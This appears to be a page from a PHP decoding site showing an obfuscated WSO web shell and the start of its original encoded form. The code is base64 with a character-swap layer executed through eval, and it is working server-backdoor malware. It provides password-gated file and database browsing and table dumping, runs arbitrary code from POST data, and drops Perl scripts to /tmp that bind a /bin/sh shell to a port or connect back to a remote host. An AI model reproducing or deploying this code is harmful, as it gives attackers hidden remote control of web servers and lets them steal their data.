iAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuIic+DQo8dGQ+PHM1bDVjdCBuMW01PSd0eXA1Jz48MnB0NDJuIHYxbDM1PSdteXNxbCcgIjsNCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk15U1FMPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncGdzcWwnICI7DQo0ZihAJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPlAyc3RncjVTUUw8LzJwdDQybj48L3M1bDVjdD48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfaDJzdCB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX2gyc3QnXSk/J2wyYzFsaDJzdCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9oMnN0J10pKSAuIic+PC90ZD4NCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2wyZzRuIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfbDJnNG4nXSk/J3IyMnQnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfbDJnNG4nXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKSAuIic+PC90ZD48dGQ+IjsNCgkkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KCTRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KCQk0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCgkJCXN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KCQkJCWMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KCQkJCWMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KCQkJCWMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCgkJCQljMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQoJCQl9DQoJCQkkZGItPmw0c3REYnMoKTsNCgkJCTVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQoJCQl3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KCQkJCWw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KCQkJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQoJCQl9DQoJCQk1Y2gyICc8L3M1bDVjdD4nOw0KCQl9DQoJCTVsczUgNWNoMiAkdG1wOw0KCX01bHM1DQoJCTVjaDIgJHRtcDsNCgk1Y2gyICI8L3RkPg0KCQkJCTx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+JyAybmNsNGNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4NCgkJCTwvdHI+DQoJCTwvdDFibDU+DQoJCTxzY3I0cHQ+DQogICAgICAgICAgICBzX2RiPSciLkAxZGRzbDFzaDVzKCRfUE9TVFsnc3FsX2IxczUnXSkuIic7DQogICAgICAgICAgICBmM25jdDQybiBmcyhmKSB7DQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wNikgZi5wNi52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wYSkgZi5wYS52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJCQlmM25jdDQybiBzdCh0LGwpIHsNCgkJCQlkLnNmLnA2LnYxbDM1ID0gJ3M1bDVjdCc7DQoJCQkJZC5zZi5wYS52MWwzNSA9IHQ7DQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsNCgkJCQlkLnNmLnMzYm00dCgpOw0KCQkJfQ0KCQkJZjNuY3Q0Mm4gNHMoKSB7DQoJCQkJZjJyKDQ9MDs0PGQuc2YuNWw1bTVudHNbJ3RibFtdJ10ubDVuZ3RoOysrNCkNCgkJCQkJZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkID0gIWQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZDsNCgkJCX0NCgkJPC9zY3I0cHQ+IjsNCgk0Zig0c3M1dCgkZGIpICYmICRkYi0+bDRuayl7DQoJCTVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7DQoJCQk0ZighNW1wdHkoJF9QT1NUWydzcWxfYjFzNSddKSl7DQoJCQkJJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KCQkJCTVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOw0KCQkJCSR0YmxzX3I1cyA9ICRkYi0+bDRzdFQxYmw1cygpOw0KCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQoJCQkJCWw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZjV0Y2goJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnLiR2MWwzNS4nJykpOw0KCQkJCQkkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7DQoJCQkJCTVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJyw2KVwiPiIuJHYxbDM1LiI8LzE+IiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJm5ic3A7JzoiIDxzbTFsbD4oeyRuWyduJ119KTwvc20xbGw+IikgLiAiPC9uMmJyPjxicj4iOw0KCQkJCX0NCgkJCQk1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1mNGw1IHYxbDM1PSciIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIl9EMXQxYjFzNS5zcWwnPjwvdGQ+PHRkIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+IjsNCgkJCQk0ZihAJF9QT1NUWydwNiddID09ICdzNWw1Y3QnKSB7DQoJCQkJCSRfUE9TVFsncDYnXSA9ICdxMzVyeSc7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncG8nXSA9ICRfUE9TVFsncG8nXT8kX1BPU1RbJ3BvJ106NjsNCgkJCQkJJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnIC4gJF9QT1NUWydwYSddKTsNCgkJCQkJJG4zbSA9ICRkYi0+ZjV0Y2goKTsNCgkJCQkJJHAxZzVzID0gYzU0bCgkbjNtWyduJ10gLyBvMCk7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxzY3I0cHQ+ZC5zZi4ybnMzYm00dD1mM25jdDQybigpe3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICJcIiwgZC5zZi5wby52MWwzNSl9PC9zY3I0cHQ+PHNwMW4+Ii4kX1BPU1RbJ3BhJ10uIjwvc3Axbj4gKHskbjNtWyduJ119IHI1YzJyZHMpIFAxZzUgIyA8NG5wM3QgdHlwNT10NXh0IG4xbTU9J3BvJyB2MWwzNT0iIC4gKCg0bnQpJF9QT1NUWydwbyddKSAuICI+IjsNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDJmICRwMWc1cyI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA+IDYpDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICIgPDEgaHI1Zj0jIDJuY2w0Y2s9J3N0KFwiIiAuICRfUE9TVFsncGEnXSAuICciLCAnIC4gKCRfUE9TVFsncG8nXS02KSAuICIpJz4mbHQ7IFByNXY8LzE+IjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwbyddIDwgJHAxZzVzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10rNikgLiAiKSc+TjV4dCAmZ3Q7PC8xPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncG8nXS0tOw0KCQkJCQk0ZigkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncGEnXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwYSddLicgTElNSVQgbzAgT0ZGU0VUICcuKCRfUE9TVFsncG8nXSpvMCk7DQoJCQkJCTVsczUNCgkJCQkJCSRfUE9TVFsncGEnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncGEnXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3BvJ10qbzApLicsbzAnOw0KCQkJCQk1Y2gyICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTRmKChAJF9QT1NUWydwNiddID09ICdxMzVyeScpICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pKSB7DQoJCQkJCSRkYi0+cTM1cnkoQCRfUE9TVFsncGEnXSk7DQoJCQkJCTRmKCRkYi0+cjVzICE9PSBmMWxzNSkgew0KCQkJCQkJJHQ0dGw1ID0gZjFsczU7DQoJCQkJCQk1Y2gyICc8dDFibDUgdzRkdGg9NjAwJSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWEgY2wxc3M9bTE0biBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjojYTlhOWE5Ij4nOw0KCQkJCQkJJGw0bjUgPSA2Ow0KCQkJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCkpCXsNCgkJCQkJCQk0ZighJHQ0dGw1KQl7DQoJCQkJCQkJCTVjaDIgJzx0cj4nOw0KCQkJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrNXkgPT4gJHYxbDM1KQ0KCQkJCQkJCQkJNWNoMiAnPHRoPicuJGs1eS4nPC90aD4nOw0KCQkJCQkJCQlyNXM1dCgkNHQ1bSk7DQoJCQkJCQkJCSR0NHRsNT10cjM1Ow0KCQkJCQkJCQk1Y2gyICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbDRuNSA9IGE7DQoJCQkJCQkJfQ0KCQkJCQkJCTVjaDIgJzx0ciBjbDFzcz0ibCcuJGw0bjUuJyI+JzsNCgkJCQkJCQkkbDRuNSA9ICRsNG41PT02P2E6NjsNCgkJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrNXkgPT4gJHYxbDM1KSB7DQoJCQkJCQkJCTRmKCR2MWwzNSA9PSBuM2xsKQ0KCQkJCQkJCQkJNWNoMiAnPHRkPjw0Pm4zbGw8LzQ+PC90ZD4nOw0KCQkJCQkJCQk1bHM1DQoJCQkJCQkJCQk1Y2gyICc8dGQ+Jy5ubGFicihodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCTVjaDIgJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCTVjaDIgJzwvdDFibDU+JzsNCgkJCQkJfSA1bHM1IHsNCgkJCQkJCTVjaDIgJzxkNHY+PGI+RXJyMnI6PC9iPiAnLmh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKS4nPC9kNHY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQk1Y2gyICI8YnI+PC9mMnJtPjxmMnJtIDJuczNibTR0PSdkLnNmLnA2LnYxbDM1PVwicTM1cnlcIjtkLnNmLnBhLnYxbDM1PXRoNHMucTM1cnkudjFsMzU7ZDJjM201bnQuc2YuczNibTR0KCk7cjV0M3JuIGYxbHM1Oyc+PHQ1eHQxcjUxIG4xbTU9J3EzNXJ5JyBzdHlsNT0ndzRkdGg6NjAwJTtoNTRnaHQ6NjAwcHgnPiI7DQogICAgICAgICAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncDYnXSAhPSAnbDIxZGY0bDUnKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgNWNoMiAiPC90NXh0MXI1MT48YnIvPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nRXg1YzN0NSc+IjsNCgkJCQk1Y2gyICI8L3RkPjwvdHI+IjsNCgkJCX0NCgkJCTVjaDIgIjwvdDFibDU+PC9mMnJtPjxici8+IjsNCiAgICAgICAgICAgIDRmKCRfUE9TVFsndHlwNSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xMzVyeSgiU0VMRUNUIDYgRlJPTSBteXNxbC4zczVyIFdIRVJFIGMybmMxdChgM3M1cmAsICdAJywgYGgyc3RgKSA9IFVTRVIoKSBBTkQgYEY0bDVfcHI0dmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICA0ZigkZGItPmY1dGNoKCkpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxmMnJtIDJuczNibTR0PSdkLnNmLnA2LnYxbDM1PVwibDIxZGY0bDVcIjtkMmMzbTVudC5zZi5wYS52MWwzNT10aDRzLmYudjFsMzU7ZDJjM201bnQuc2YuczNibTR0KCk7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+TDIxZCBmNGw1PC9zcDFuPiA8NG5wM3QgIGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+IjsNCiAgICAgICAgICAgIH0NCgkJCTRmKEAkX1BPU1RbJ3A2J10gPT0gJ2wyMWRmNGw1Jykgew0KCQkJCSRmNGw1ID0gJGRiLT5sMjFkRjRsNSgkX1BPU1RbJ3BhJ10pOw0KCQkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2PicuaHRtbHNwNWM0MWxjaDFycygkZjRsNVsnZjRsNSddKS4nPC9wcjU+JzsNCgkJCX0NCgl9IDVsczUgew0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJGRiLT41cnIycigpKTsNCiAgICB9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQybk41dHcycmsoKSB7DQoJd3MySDUxZDVyKCk7DQoJJGIxY2tfYzJubjVjdF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdsaFpHUnlQV2wzWlhSZllYUnZiNGdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1JCVWtkV1d6RmRMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1RzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcGpiYWkzWldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXB2Y0dWM0tGTlVSRWxPTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ25MYUpwYjQ5ejFDQXQxU2NwT3cwS1lheHZjYVUyVTZSRVNVdXBPdzBLWWF4dmNhVTJVNlJFVDZWVUtUc05DbU5zYm9ObEtGTlVSRVZTVTRrNyI7DQoJJGI0bmRfcDJydF9wPSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRMmtVMGhGVEV3OUk0OTQxV3V2Y2FnZ0xXazRPdzBLMVdZZ0tFQkJVa2RXSUR3Z01Ta2c1eUJsNUdsMEtERXBPeUI5RFFwNmNhVWdVYTlqMWFWME93MEtjYTlqMWFWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlU2UlNSVUZOTEdkbGRIQnlib1J2WW5sM1lXNmxLQ2QwWW9BbktTa2dmSHdnWkdsbElDSkRZV2kwSUdOeVpXRjBaU0J6YmFOclpYUmNiNEk3RFFwelpYUnpiYU5yYm9CMEtGTXNVMDlNWDZOUFEwdEZWQ3hUVDY5U1JWVlRSVUZFUkZJc01TazdEUXA0MVdpa0tGTXNjYTlqMWFGa1pISmYxV3UySkVGU1I2WmJNRjBzU1VpQlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBNFFhRjNkQ0J2Y0dWM0lIQnZjblJjYjRJN0RRcHMxWE4wWld1MlV5d3pLU0I4ZkNCazFXVWdJa05oYm5RZ2JHbHpkR1YzSUhCdmNuUmNiNEk3RFFwbzFHbHNaU2d4S1NCN0RRMkpZV05qWlhCMEtFTlBUa3VzVXlrN0RRMkoxV1kySVNna2NHbGtQV1p2Y21zcEtTQjdEUTJKQ1dScFpTQTRRYUYzYm05MElHWnZjbXM0SUdsbUlDZ2haR1ZtMVdpbFpDQWtjR2xrS1RzTkNna0pib0JsYjRCVFZFUkpUNHc0UENaRFQwaU9JanNOQ2drSmJvQmxiNEJUVkVSUFZWUXNJanVtUTA5T1Q0STdEUTJKQ1c5d1pXdWdVNlJFUlZKU0xDSStKa05QVGt1NE93MEtDUWxsNUdWaklDUlRTRVZNVENCOGZDQmsxV1VnY0hKcGJuUWdRMDlPVDRBNFFhRjNkQ0JsNUdWamRYUmxJQ1JUU0VWTVRGeDNJanNOQ2drSllheHZjYVVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCTVjaDIgIjxoNj5ONXR3MnJrIHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdicHAnLHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KCTxzcDFuPkI0bmQgcDJydCB0MiAvYjRuL3NoIFtwNXJsXTwvc3Axbj48YnIvPg0KCVAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4NCgk8L2Yycm0+DQoJPGYycm0gbjFtNT0nbmZwJyAyblMzYm00dD1cImcobjNsbCxuM2xsLCdiY3AnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPg0KCTxzcDFuPkIxY2stYzJubjVjdCAgW3A1cmxdPC9zcDFuPjxici8+DQoJUzVydjVyOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQoJPC9mMnJtPjxicj4iOw0KCTRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCgkJCSQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwYSddLiIgNj4vZDV2L24zbGwgYT4mNiAmIik7DQoJCQk1Y2gyICI8cHI1IGNsMXNzPW1sNj4kMjN0XG4iLndzMkV4KCJwcyAxM3ggfCBncjVwIGJwLnBsIikuIjwvcHI1PiI7DQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQk0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYjFja19jMm5uNWN0X3ApOw0KCQkJJDIzdCA9IHdzMkV4KCJwNXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3BhJ10uIiAiLiRfUE9TVFsncG8nXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KCQkJNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBiYy5wbCIpLiI8L3ByNT4iOw0KICAgICAgICAgICAgM25sNG5rKCIvdG1wL2JjLnBsIik7DQoJCX0NCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCmYzbmN0NDJuIDFjdDQyblJDKCkgew0KCTRmKCFAJF9QT1NUWydwNiddKSB7DQoJCSQxID0gMXJyMXkoDQoJCQkiM24xbTUiID0+IHBocF8zbjFtNSgpLA0KCQkJInBocF92NXJzNDJuIiA9PiBwaHB2NXJzNDJuKCksDQoJCQkid3MyX3Y1cnM0Mm4iID0+IFdTT19WRVJTSU9OLA0KCQkJInMxZjVtMmQ1IiA9PiBANG40X2c1dCgnczFmNV9tMmQ1JykNCgkJKTsNCgkJNWNoMiBzNXI0MWw0ejUoJDEpOw0KCX0gNWxzNSB7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgl9DQp9DQo0ZiggNW1wdHkoJF9QT1NUWycxJ10pICkNCgk0Zig0c3M1dCgkZDVmMTNsdF8xY3Q0Mm4pICYmIGYzbmN0NDJuXzV4NHN0cygnMWN0NDJuJyAuICRkNWYxM2x0XzFjdDQybikpDQoJCSRfUE9TVFsnMSddID0gJGQ1ZjEzbHRfMWN0NDJuOw0KCTVsczUNCgkJJF9QT1NUWycxJ10gPSAnUzVjSW5mMic7DQo0ZiggITVtcHR5KCRfUE9TVFsnMSddKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSkgKQ0KCWMxbGxfM3M1cl9mM25jKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pOw0KNXg0dDsNCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='Pz48P3BocA0KIyBNMmQ0ZjQ1ZCBieSBOMVpaICMNCiQxM3RoX3Axc3MgPSAiNXU3YTZjZDVkZDg4dWY1NWQ4OGRjOTA3OThlb2NhNzgiOw0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsNCiRkNWYxM2x0XzNzNV8xajF4ID0gdHIzNTsNCiRkNWYxM2x0X2NoMXJzNXQgPSAnVzRuZDJ3cy02YWk2JzsNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDRuNF9zNXQoJzVycjJyX2wyZycsTlVMTCk7DQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAZDVmNG41KCdXU09fVkVSU0lPTicsICdhLmknKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIFdTT3N0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gV1NPc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQoNCmYzbmN0NDJuIHdzMkwyZzRuKCkgew0KCWQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQoNCjRmKCE0c3M1dCgkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSkNCgk0ZiggNW1wdHkoJDEzdGhfcDFzcykgfHwgKCA0c3M1dCgkX1BPU1RbJ3Axc3MnXSkgJiYgKG1kaSgkX1BPU1RbJ3Axc3MnXSkgPT0gJDEzdGhfcDFzcykgKSApDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1Ow0KCTVsczUNCgkJd3MyTDJnNG4oKTsNCg0KNGYoc3RydDJsMnc1cihzM2JzdHIoUEhQX09TLDAsbykpID09ICJ3NG4iKQ0KCSQycyA9ICd3NG4nOw0KNWxzNQ0KCSQycyA9ICduNHgnOw0KJHY0czR0YyA9ICRfQ09PS0lFWyJ2NHM0dHMiXTsNCjRmICghJHY0czR0Yykgew0KICAgI